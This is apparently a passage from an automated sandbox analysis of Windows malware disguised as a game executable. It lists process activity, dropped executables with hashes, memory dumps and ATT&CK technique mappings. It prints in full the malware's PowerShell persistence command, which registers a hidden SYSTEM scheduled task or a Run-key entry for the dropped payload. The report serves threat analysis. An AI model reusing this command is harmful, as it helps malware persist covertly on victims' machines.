    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:556
- - C:\Windows\system32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:3980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell <#tkmebyokj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Barac' /tr '''C:\Program Files\Cuis\bon\Bara.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Cuis\bon\Bara.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Barac' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Barac" /t REG_SZ /f /d 'C:\Program Files\Cuis\bon\Bara.exe' }
  2⤵
  PID:4668

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{a5806881-7105-40d1-85db-656d71869129}
1⤵
PID:1288

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{83aef5ad-4c24-48fb-b50b-4712619ed686}
1⤵
PID:3880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

Bara.exe

Path C:\Program Files\Cuis\bon\Bara.exe
Size 2.4MB
SHA256 fd7327848bb13a7a2919447c1818935482527bcc7de7da835b907826b7488490
MD5 b70a5e7260b025e39b8016523a1f2d64
SHA1 aea86a6e4d9ba908d9e141a5d4166ba1e3b1b6a7
SHA512 a0b63100553d8ae1bbc6471cc0b63499d82ff1503dc17f46cb1aee07a1332a053c485b74bbe7670638ff0d069496751f9326f9bbb6df96f794acb73969b182ca
SSDEEP 49152:4elUnBKWqx6g25uMThhswijSEGQpETFkNL:45BKtxo5fQIwuhk
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
MD5 SHA1 SHA512 SSDEEP

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675
MD5 124edf3ad57549a6e475f3bc4e6cfe51
SHA1 80f5187eeebb4a304e9caa0ce66fcd78c113d634
SHA512 b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee
SSDEEP 1536:tB+z30fztAHkvlOdBrNKe8flJn1YorV3CNBQkj2okqdzz0RzWRW7jMOvBaVGVh4j:r+z30fztAHktOdBrNKe8flJn1YorV3Cd
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 3e601ab1d03571a0b7708195efb389aa70968d945229000ed4efe4978a89c975
MD5 ea5c690cede63d5a08862cd943320408
SHA1 c6b6fe1053928e442d3b01ed80c04011ffa19112
SHA512 081059af2d10d46c66eb8a5a204c50945132b07f4f789ff42d7be0e050607975dbb55c7fbfc347236ea6a5b48fd2e8ac0fabb1e26bbc79b2d7771fef103c4661
SSDEEP 384:Nsf+zQo9p+9ej8iFEPf2k+dro1ToT6seYD/LR7/043SoEgfYJJjz/ToQ0gDwtPK4:SfPR6TmNEro1To8cLxxS629z/wISm+X
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 764ce4152aa54044e46451f33ebd50a44049204463d56a7eaf44348755a8894d
MD5 15ead3459a71c458016fdbd13b056fa3
SHA1 6d101716f7e1663cc4f0c009183576269856ab13
SHA512 354826f466c91ff23ba7ed29ea28b89f13aef9fdbaf7514a7b8518115dbf3d3a4f264d13584467ca66498252da06c3e18648f0c214e96bfef376decc66024da3
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0b23166e55583451523838793798cdf8a6111dbe4abd02e04541eb13a93af01c
MD5 49a0a8009eca86fbd204ca68e145ddbf
SHA1 26e493c59f492b82e113fccc7f47acc1f05678a7
SHA512 981b76b0f2007e4d1f8caca2f35c0148618b0828378ada08e8fcef4f64b42b37a1515b1baed226779befb12cb83f71ec67303e66b6dd10f6c1a079faeec1d883
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_ij5jlcj4.vhe.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ij5jlcj4.vhe.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

tmpAD18.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmpAD18.tmp.bat
Size 156B
SHA256 259cbaee0b4f83b76a0b41c55d7238e14b7c4b62a572b5fc3bd39c40d0930f62
MD5 03d865651f214388b3a47a8c007ad893
SHA1 1f38f375b77baab1c93556918a53263d3cebe390
SHA512 ff4d9b9fd6dd23028702a6b50fc086fa12e54c70749abec2f148a57c3fe3af7b75b404e2565659d2990b41304cfb2ce273ad5ca90ca1ee7c5ba432ccd3b6a3ab
MD5 SHA1 SHA512

Submit Download

1.exe

Path C:\Users\Public\1.exe
Size 2.7MB
SHA256 a92133787af66e6d68a301ef087e4116f5cab3f538d8ec5e5e0eb95cecc68ea8
MD5 952f360a4651f948be3a673178631641
SHA1 60e58b89cfce587aa121baf431d55cbbecd21545
SHA512 af346587c95ac9e120ce63d46b22992e3ab69702af602ea6d7a16c3dcf9d2f7f19903233646cef8153aa877f5773c486db504ea6534bcbc3b136bd07b62483d0
SSDEEP 49152:NIKC+8eUs/UMBF1XX5QmZLPa16xzqD6Kdaf3DTOWzYuloalhHg4e:NlC+i0bBHXGgjaQx+OhfzTxzdloaD
MD5 SHA1 SHA512 SSDEEP

Submit Download

2.exe

Path C:\Users\Public\2.exe
Size 2.4MB
SHA256 de83dd82da3ebaa2c09fd75a7307ad5e2031ad8c911cd75753ffef3eb1571f0a
MD5 8e40252356a6fb3f8f52d1effa2c2c3c
SHA1 3bf5461b591a53dcb48ea2dc6535cd90aa786c4e
SHA512 c3286845aa20f9bf06bfbccb63c12a72ed223fc054881a66b643f55f81aa0df868c28199090cab6d37552b268615dc0605587a85f0d4ec6ee6d5ed25a5739a2a
SSDEEP 49152:4elUnBKWqx6g25uMThhswijSEGQpETFkNL:45BKtxo5fQIwuhk
MD5 SHA1 SHA512 SSDEEP

Submit Download

A.exe

Path C:\Users\Public\A.exe
Size 47KB
SHA256 5cbcfbe5ea7a6891f1ef1db756d9728a8fd140ce452d8f98103e5311f24ddc26
MD5 b4c7e1f8b463813670a6c3189893c323
SHA1 b8cf4d1247256d09e86d3432cedb7ab6cc54d021
SHA512 6a2cd37c53f9f696cd38766bcc19ca559381810137abf2d370319a12e28be916e183c3fcfb3542049d3c0ca8c001aa1e81887550c396c63122cf0996a20dadf2
SSDEEP 768:iuQSNTvEEaBrWUXQd5mo2qmivcGuoy0xPI9m7nuNz0blRNq4SDdR78+a7oeDXyG0:iuQSNT8542x4ju9miN4blRNqNRwueDXY
MD5 SHA1 SHA512 SSDEEP

Submit Download

HeroineConquest v1.12.exe

Path C:\Users\Public\HeroineConquest v1.12.exe
Size 7.0MB
SHA256 68520e2925965906fbaac738fc4b9d77cb0cb7c5c3ce9068b705257ccb7c14a7
MD5 16cb1a52b594e34405b75f6d2534861e
SHA1 5682b23f553a011818d491d01b993946ae0d69c0
SHA512 dab063e21a8214078f28a803b8673eaa3266515048a98e6e0c7c39b167cc0d194f6b8877179788a66b27d769cf152ddbb362bd434bc9d5dbec2967449825999d
SSDEEP 196608:8ae0wafpwv9xOCWcd6t9OLf0BEJ+ujHpN5NDK75B0s/JMQbL:F80B+vNL85/jL
MD5 SHA1 SHA512 SSDEEP

Submit Download

Q.exe

Path C:\Users\Public\Q.exe
Size 502KB
SHA256 8e70565ae20d389f4a4b1a3b36b5b99d77842044622b434918eed4f211afe4c8
MD5 b2e60f2fe1006e3865a4a78aa2df8fbb
SHA1 450f7bb430e2c58c226a07a6e48a1a723345af33
SHA512 6b27e2800893ec37c652de99542edd5af079501913ba2349225bfd352384d187b8096ec7594fa31409ae0707a51ebabafe6fe3e670092c736ad49172d98e02c5
SSDEEP 12288:dTEgdfYWxUgBkPzsw4FFywgApGhpXcd+:+UwsMsPFywgApAcd+
MD5 SHA1 SHA512 SSDEEP

Submit Download

V3.exe

Path C:\Users\Public\V3.exe
Size 5.4MB
SHA256 2d3cfa62bbb948323263afdd50cf75e8454be04be362b18e968f99b360f219de
MD5 eb69caec953efdfd87cd1378483b4b4a
SHA1 2e4f400a7ad6c97dfff983cef6f27f32d8cd4263
SHA512 cf0e974880c72db0410c57e1cc8136826ef8496ed9b4daaf74175d11264457da427c0107b7ea4240f9696a2a15149f688131af215a5ad1ff857f85859170f1d4
SSDEEP 98304:yPlC+i0bBHXGgjaQx+OhfzTxzdloaDj5BKtxo5fQIwuhkz:4Cj0bR2Ej1hbTxkOzKYAEkz
MD5 SHA1 SHA512 SSDEEP

Submit Download

config.bat

Path C:\Users\Public\config.bat
Size 593B
SHA256 77f93618988472394b5feeadd426a62cfb8e9a1e2a1ca891e76fa66584e31950
MD5 67babfd11986db3fad24bb95603f7343
SHA1 018c9dd244f1ee7feb0d58a60aa3bf6320405a35
SHA512 7ce17b373518053fc88526b63e4421111bee51d0699a43f5c1e63f219978a9007a591ea42498d826afc285b471d274c7df8c9f3750538ac4308d17c0feb6c26b
MD5 SHA1 SHA512

Submit Download

data.win

Path C:\Users\Public\data.win
Size 28.4MB
SHA256 744b910c7950cf4a8cb85e2a9ddd43075417079c3a5688fd89468ef759f9d914
MD5 d84deac9f3704afa1208e5c52e495a56
SHA1 f6ad1462e02762b78910966d9a5f0053cccfaa44
SHA512 53bf80c330576cd0e746d2bd560a3390223d023e6c2d71614d47ad7695c0e0509e22cc4fb0cdb15aeede7f251283162295a8406b5da10174a0ab95b40f5800eb
SSDEEP 786432:7e/PLPAeNZZLmkE0hL46/O6lrBxndaQMIJcWUKA6qoEbeBKbB1lKfr:7kL1Zhx/DxnoQMIJo6qjJcfr
MD5 SHA1 SHA512 SSDEEP

Submit Download

options.ini

Path C:\Users\Public\options.ini
Size 40B
SHA256 d2b6d2ed327bcec3e24ba0d814db911b9497ad63c69325d2b25c98b60d03a54a
MD5 f561f2b3e4e0438915c77790648c66ea
SHA1 f684b62a1408960673d1aa590c796932ec3ef19c
SHA512 ca107ddb1b69107eb5387a96cb0a8ac577afec9bc1e2e085cc1287273fd938e6cec8701e041670a8a2f36788d87d7c73d1c624152d2e821f461c01f1a4996df6
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
MD5 b42c70c1dbf0d1d477ec86902db9e986
SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
MD5 SHA1 SHA512

Submit Download

memory/372-113-0x000000001B880000-0x000000001B8D0000-memory.dmp

Download

memory/372-114-0x000000001B990000-0x000000001BA42000-memory.dmp

Download

memory/456-191-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/456-193-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/456-189-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/456-188-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/456-196-0x00007FFEB2C80000-0x00007FFEB2D3E000-memory.dmp

Download

memory/456-194-0x00007FFEB38D0000-0x00007FFEB3AC5000-memory.dmp

Download

memory/456-190-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/464-172-0x00000130A4290000-0x00000130A429A000-memory.dmp

Download

memory/464-170-0x00000130A4250000-0x00000130A4258000-memory.dmp

Download

memory/464-169-0x00000130A42A0000-0x00000130A42BA000-memory.dmp

Download

memory/464-168-0x00000130A4240000-0x00000130A424A000-memory.dmp

Download

memory/464-167-0x00000130A4260000-0x00000130A427C000-memory.dmp

Download

memory/464-171-0x00000130A4280000-0x00000130A4286000-memory.dmp

Download

memory/464-157-0x00000130A4010000-0x00000130A401A000-memory.dmp

Download

memory/464-156-0x00000130A4040000-0x00000130A40F5000-memory.dmp

Download

memory/464-134-0x000001308B890000-0x000001308B8B2000-memory.dmp

Download

memory/464-155-0x00000130A4020000-0x00000130A403C000-memory.dmp

Download

memory/552-98-0x0000000000C80000-0x0000000000D04000-memory.dmp

Download

memory/612-333-0x00007FFE73950000-0x00007FFE73960000-memory.dmp

Download

memory/612-332-0x00000177CD690000-0x00000177CD6BA000-memory.dmp

Download

memory/612-331-0x00000177CD660000-0x00000177CD683000-memory.dmp

Download

memory/672-336-0x000002246EEB0000-0x000002246EEDA000-memory.dmp

Download

memory/672-337-0x00007FFE73950000-0x00007FFE73960000-memory.dmp

Download

memory/1288-277-0x0000000140000000-0x0000000140042000-memory.dmp

Download

memory/1288-327-0x0000000140000000-0x0000000140042000-memory.dmp

Download

memory/1288-279-0x00007FFEB2C80000-0x00007FFEB2D3E000-memory.dmp

Download

memory/1288-278-0x00007FFEB38D0000-0x00007FFEB3AC5000-memory.dmp

Download

memory/1288-276-0x0000000140000000-0x0000000140042000-memory.dmp

Download

memory/1312-313-0x00007FFEB2C80000-0x00007FFEB2D3E000-memory.dmp

Download

memory/1312-312-0x00007FFEB38D0000-0x00007FFEB3AC5000-memory.dmp

Download

memory/1316-230-0x00007FF744700000-0x00007FF744966000-memory.dmp

Download

memory/1316-124-0x00007FF744700000-0x00007FF744966000-memory.dmp

Download

memory/1528-241-0x00007FF6A58E0000-0x00007FF6A5936000-memory.dmp

Download

memory/1764-64-0x0000000007F00000-0x0000000007F22000-memory.dmp

Download

memory/1764-54-0x0000000007A50000-0x0000000007AF3000-memory.dmp

Download

memory/1764-25-0x0000000005280000-0x00000000052B6000-memory.dmp

Download

memory/1764-26-0x0000000005910000-0x0000000005F38000-memory.dmp

Download

memory/1764-65-0x0000000008E00000-0x00000000093A4000-memory.dmp

Download

memory/1764-63-0x0000000007EA0000-0x0000000007EA8000-memory.dmp

Download

memory/1764-62-0x0000000007EC0000-0x0000000007EDA000-memory.dmp

Download

memory/1764-61-0x0000000007DD0000-0x0000000007DE4000-memory.dmp

Download

memory/1764-60-0x0000000007DC0000-0x0000000007DCE000-memory.dmp

Download

memory/1764-59-0x0000000007D90000-0x0000000007DA1000-memory.dmp

Download

memory/1764-58-0x0000000007E00000-0x0000000007E96000-memory.dmp

Download

memory/1764-41-0x00000000068A0000-0x00000000068EC000-memory.dmp

Download

memory/1764-40-0x0000000006870000-0x000000000688E000-memory.dmp

Download

memory/1764-39-0x00000000062C0000-0x0000000006614000-memory.dmp

Download

memory/1764-27-0x00000000058A0000-0x00000000058C2000-memory.dmp

Download

memory/1764-29-0x0000000006250000-0x00000000062B6000-memory.dmp

Download

memory/1764-57-0x0000000007C00000-0x0000000007C0A000-memory.dmp

Download

memory/1764-56-0x0000000007BA0000-0x0000000007BBA000-memory.dmp

Download

memory/1764-55-0x00000000081D0000-0x000000000884A000-memory.dmp

Download

memory/1764-42-0x0000000006E10000-0x0000000006E42000-memory.dmp

Download

memory/1764-53-0x0000000007A30000-0x0000000007A4E000-memory.dmp

Download

memory/1764-43-0x0000000071200000-0x000000007124C000-memory.dmp

Download

memory/1764-28-0x0000000006170000-0x00000000061D6000-memory.dmp

Download

memory/2432-292-0x00000000066C0000-0x00000000066DB000-memory.dmp

Download

memory/2432-272-0x0000000005650000-0x000000000569C000-memory.dmp

Download

memory/2432-261-0x0000000004DD0000-0x0000000005124000-memory.dmp

Download

memory/3228-205-0x000001B4FB1A0000-0x000001B4FB255000-memory.dmp

Download

memory/3440-324-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/3440-321-0x0000021EB8A20000-0x0000021EB8A40000-memory.dmp

Download

memory/3440-326-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/3440-314-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/3440-315-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/3440-316-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/3440-317-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/3440-320-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/3440-318-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/3440-319-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/3440-322-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/3440-325-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/3440-323-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/3880-286-0x0000000000400000-0x0000000000435000-memory.dmp

Download

memory/3880-289-0x0000000000400000-0x0000000000435000-memory.dmp

Download

memory/3880-287-0x0000000000400000-0x0000000000435000-memory.dmp

Download

memory/4064-110-0x0000000000F90000-0x0000000000FA2000-memory.dmp

Download

memory/4064-115-0x0000000005C80000-0x0000000005D1C000-memory.dmp

Download

memory/4348-310-0x0000000140000000-0x000000014000E000-memory.dmp

Download

memory/4348-307-0x0000000140000000-0x000000014000E000-memory.dmp

Download

memory/4348-306-0x0000000140000000-0x000000014000E000-memory.dmp

Download

memory/4348-305-0x0000000140000000-0x000000014000E000-memory.dmp

Download

memory/4348-304-0x0000000140000000-0x000000014000E000-memory.dmp

Download

memory/4348-303-0x0000000140000000-0x000000014000E000-memory.dmp

Download

memory/4976-274-0x00007FFEB38D0000-0x00007FFEB3AC5000-memory.dmp

Download

memory/4976-275-0x00007FFEB2C80000-0x00007FFEB2D3E000-memory.dmp

Download

memory/4976-273-0x0000018DE26D0000-0x0000018DE2710000-memory.dmp

Download